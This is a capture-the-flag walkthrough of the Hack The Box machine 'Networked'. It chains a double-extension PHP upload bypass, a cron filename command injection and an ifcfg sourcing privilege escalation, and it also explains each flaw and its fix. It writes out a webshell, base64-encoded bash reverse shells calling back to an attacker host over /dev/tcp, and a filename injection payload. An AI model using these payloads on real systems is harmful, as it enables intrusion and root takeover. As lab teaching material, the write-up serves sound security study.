- OS: Linux (CentOS 7)
- Domain / vhosts: none
Summary
Networked is a CentOS Linux Easy with three distinct vulnerability classes chained across three privilege levels. The entire source code is available in a tarball on the web server, making each step an exercise in reading application code before attempting blind exploitation.
The kill-chain is: /backup/backup.tar exposes the PHP source → the upload
form checks MIME type (easily spoofed with image magic bytes) and final
extension, but saves files with the attacker’s IP as a prefix and preserves
the internal extension — and Apache’s AddHandler php5-script .php executes
any file containing .php anywhere in its name → double-extension webshell
(shell.php.png) lands as www-data → a world-writable uploads directory
and a root-owned cron running check_attack.php every three minutes is
vulnerable to command injection via filename → shell as guly → sudo
changename.sh writes values into an ifcfg-* file that is sourced by
ifup; a space in the NAME value causes the second word to be executed
as a shell command → root.
Source attribution
- 0xdf, “HTB: Networked” — https://0xdf.gitlab.io/2019/11/16/htb-networked.html.
Primary source. Covers the source-code analysis of the upload bypass,
the cron injection filename trick, and the
ifcfgsourcing privesc. - IppSec, “Networked” video walkthrough — https://ippsec.rocks/?#Networked.
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 7.4 (CentOS)
80/tcp open http Apache httpd 2.4.6 (CentOS) PHP/5.4.16
443/tcp closed
The PHP/5.4.16 banner on Apache is significant — PHP 5.4 went EOL in 2015
and is CentOS 7’s default packaged version.
Web enumeration — source exposure via backup.tar
Directory enumeration reveals several paths:
gobuster dir -u http://<TARGET>/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt
/backup/ (Status: 301) ← contains backup.tar
/upload.php (Status: 200)
/uploads/ (Status: 301)
/photos.php (Status: 200)
Download and extract the source backup:
wget http://<TARGET>/backup/backup.tar
tar xvf backup.tar
# → index.php lib.php photos.php upload.php
Reading the source before attempting exploitation saves significant time.
Foothold — double-extension webshell via Apache AddHandler
upload.php performs two checks:
-
MIME type:
check_file_type()inlib.phpcallsfile_mime_type()on the uploaded file. If the result starts withimage/, the file passes. This reads the file’s magic bytes — but any file can be prefixed with GIF/PNG magic bytes. -
Final extension: the code checks that the filename ends with one of
.jpg,.png,.gif,.jpeg. This only validates the last extension.
The saved filename is constructed from the attacker’s IP:
// lib.php — getnameUpload splits on first dot only
$pieces = explode('.', $filename); // ["shell", "php", "png"]
$name = array_shift($pieces); // "shell"
$ext = implode('.', $pieces); // "php.png"
// upload.php — saves as <IP_underscored>.<ext>
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
// e.g. 10_10_14_5.php.png
The critical piece is /etc/httpd/conf.d/php.conf:
AddHandler php5-script .php
AddHandler (unlike AddType) matches .php anywhere in the filename —
including as an intermediate extension. 10_10_14_5.php.png is therefore
executed as PHP by Apache.
Craft the webshell:
# prepend GIF magic bytes so MIME check passes
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.png
Upload shell.php.png through http://<TARGET>/upload.php. The server
saves it as 10_10_14_5.php.png (substituting the attacker IP).
Confirm execution:
curl "http://<TARGET>/uploads/10_10_14_5.php.png?cmd=id"
# → GIF89auid=48(www-data) gid=48(www-data) groups=48(www-data)
Upgrade to a reverse shell (base64-encode to avoid shell metacharacters in the URL):
echo 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1' | base64
# → YmFzaCAtaSA+JiAvZGV2L3RjcC8uLi4K
# listener
nc -lvnp 4444
# trigger
curl "http://<TARGET>/uploads/10_10_14_5.php.png" \
--data-urlencode "cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8uLi4K | base64 -d | bash"
Shell arrives as www-data.
Lateral move — cron command injection via filename
From the www-data shell, enumerate accessible files:
cat /home/guly/crontab.guly
# */3 * * * * php /home/guly/check_attack.php
cat /home/guly/check_attack.php
The script runs as guly every three minutes and processes files in the
uploads directory:
$files = preg_grep('/^([^.])/', scandir($path)); // skip dotfiles
foreach ($files as $key => $value) {
list ($name, $ext) = getnameCheck($value);
$check = check_ip($name, $value);
if (!($check[0])) {
// value is the raw filename — NOT sanitised
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
mail($to, $msg, $msg, $headers, "-F$value");
}
}
$value is the literal filename. check_ip() returns false for any name
that is not a valid IP-format string. The exec() call passes $value
directly into a shell command — shell injection via semicolon.
Create an injection payload as a filename in uploads:
cd /var/www/html/uploads
touch 'a; bash -c "bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1" ; b'
When the cron fires (up to 3 minutes), the exec expands to:
nohup /bin/rm -f /var/www/html/uploads/a; bash -c "bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1" ; b > /dev/null 2>&1 &
Set up a listener on 4445 before creating the file:
nc -lvnp 4445
Shell arrives as guly. user.txt is at /home/guly/user.txt.
Privilege escalation — ifcfg value sourcing via sudo changename.sh
guly@networked:~$ sudo -l
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
The script reads values for NAME, PROXY_METHOD, BROWSER_ONLY, and
BOOTPROTO and writes them into /etc/sysconfig/network-scripts/ifcfg-guly,
then calls /sbin/ifup guly0.
regexp="^[a-zA-Z0-9_\ /-]+$"
# ...
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
read x
while [[ ! $x =~ $regexp ]]; do ... done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
The regex explicitly allows spaces (\ in the character class).
On RHEL/CentOS, ifup sources the ifcfg-* file using bash’s . (dot)
builtin — effectively source /etc/sysconfig/network-scripts/ifcfg-guly.
When bash sources a file and a variable value contains a space, the portion
after the space is treated as a command in certain parsing contexts. In
practice, a line like NAME=a /bin/bash in an ifcfg file causes /bin/bash
to be executed as root when ifup sources it.
sudo /usr/local/sbin/changename.sh
At each prompt, enter a value containing a space followed by /bin/bash:
interface NAME:
a /bin/bash
interface PROXY_METHOD:
a /bin/bash
interface BROWSER_ONLY:
a /bin/bash
interface BOOTPROTO:
a /bin/bash
When ifup sources the resulting ifcfg-guly, /bin/bash executes as root:
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
AddHandlermatches anywhere in the filename: unlikeAddType,AddHandler php5-script .phpinstructs Apache to apply the PHP handler to any request whose URI contains.php— not just as the final suffix. This is a CentOS/RHEL default configuration peculiarity; Debian-based systems typically useAddTypewhich only matches the last extension.- Magic-byte MIME spoofing:
file_mime_type()inspects the file’s magic bytes, not its declaredContent-Type. PrependingGIF89amakes the function returnimage/giffor any file, including PHP. Client-controlledContent-Typeheaders are useless as a security control; server-side magic-byte checks are marginally better but still bypassable. - Unsanitised filename in
exec():check_attack.phpconstructs a shell command by string-concatenation with a filename from the filesystem. Filenames in Unix can contain almost any byte except/and null;;is a valid filename character that the shell interprets as a command separator. ifcfgfiles are sourced byifup: CentOS/RHEL’s network scripts use bash’ssourceto read configuration files. A sourced file whose variables contain shell metacharacters (space, semicolons, backticks) can inject commands into the sourcing shell’s context. The regex explicitly permitting spaces removes the only barrier between user input and code execution.
Counterfactuals
- Remove
/backup/from the web root, or disallow directory listing. Source code exposure is the most efficient reconnaissance shortcut on this box. - Switch
AddHandler php5-script .phptoAddType application/x-httpd-php .phpin the Apache configuration.AddTypeonly matches the final extension, breaking the double-extension execution. - Validate upload content with a proper image library (PIL, Imagick) and enforce an extension allowlist based on the validated content type. Magic- byte checks alone are insufficient; a real image decode and re-encode would strip the appended PHP.
- Sanitise the filename in
check_attack.phpbefore passing it toexec(): useescapeshellarg($value)at minimum, or restructure to avoidexec()entirely (PHP’sunlink()does not invoke a shell). - Fix the regex in
changename.shto disallow spaces:^[a-zA-Z0-9_/-]+$(remove\from the character class). Better: rewrite to validate that theNAMEfield is a valid network interface identifier.
Key Takeaways
- When a web server exposes its own source code (via
/backup/,/src/,/dist/, or a git directory), read it completely before attempting exploitation — the validation logic tells you exactly which bypass to use. AddHandlervsAddTypein Apache is a meaningful distinction for file-upload security.AddHandleron older RHEL/CentOS defaults is the root cause of many double-extension bypasses on period-appropriate boxes.- World-writable directories accessible by the web process are injection
points for any cron script that reads from them without sanitisation.
Always check
/etc/cron*and per-user crontabs after gaining a foothold. - CentOS/RHEL
ifcfgfile sourcing is a lesser-known privesc class. Any sudo rule that callsifuporNetworkManagerwith attacker-controlled interface configuration deserves scrutiny. escapeshellarg()/escapeshellcmd()are PHP’s defences against shell injection inexec()/system()calls. Absence of either when user or filesystem data is concatenated into a command string is always exploitable.
References
- 0xdf, “HTB: Networked” — https://0xdf.gitlab.io/2019/11/16/htb-networked.html
- IppSec, “Networked” — https://ippsec.rocks/?#Networked
- Apache
AddHandlervsAddTypedocumentation